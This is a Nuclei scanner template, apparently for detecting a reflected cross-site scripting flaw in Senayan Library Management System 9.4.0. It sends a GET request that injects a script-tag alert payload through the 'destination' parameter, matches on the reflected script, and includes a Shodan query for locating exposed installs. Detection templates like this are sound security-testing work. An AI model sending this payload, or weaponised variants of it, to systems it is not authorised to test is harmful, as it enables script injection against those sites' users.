slims-xss: Senayan Library Management System v9.4.0(SLIMS 9) - Cross Site Scripting

id: slims-xss

info:
  name: Senayan Library Management System v9.4.0(SLIMS 9) - Cross Site Scripting
  author: arafatansari
  severity: medium
  description: |
    SLIMS 9 was discovered to contain `destination` request parameter that copies the value of an HTML tag attribute which is encapsulated in double quotation marks.
  reference:
    - https://packetstormsecurity.com/files/170182/Senayan-Library-Management-System-9.4.0-Cross-Site-Scripting.html
  classification:
    cpe: cpe:2.3:a:slims:senayan_library_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: slims
    product: senayan_library_management_system
    shodan-query: http.html:"SLIMS"
  tags: senayan,packetstorm,xss,slims,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?_csrf_token_645a83a41868941e4692aa31e7235f2=6a50886006f02202a6dac5cfa07bcbfb1e2a6e84&destination=zbuip%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ejgoihbmmygljgoihbmmygl&logMeIn=Login&memberID=admin&memberPassWord=password&p=member"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain)</script>'
          - 'SLiMS'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a0d534407407a77deb05ccf3701822207ad9fd7820697ee249473fd22a8122d0022100d444b29680f604ab6d70911515c70432b87446ae15fcd4061a8c1646938a4e87:922c64590222798bb761d5b6d8e72950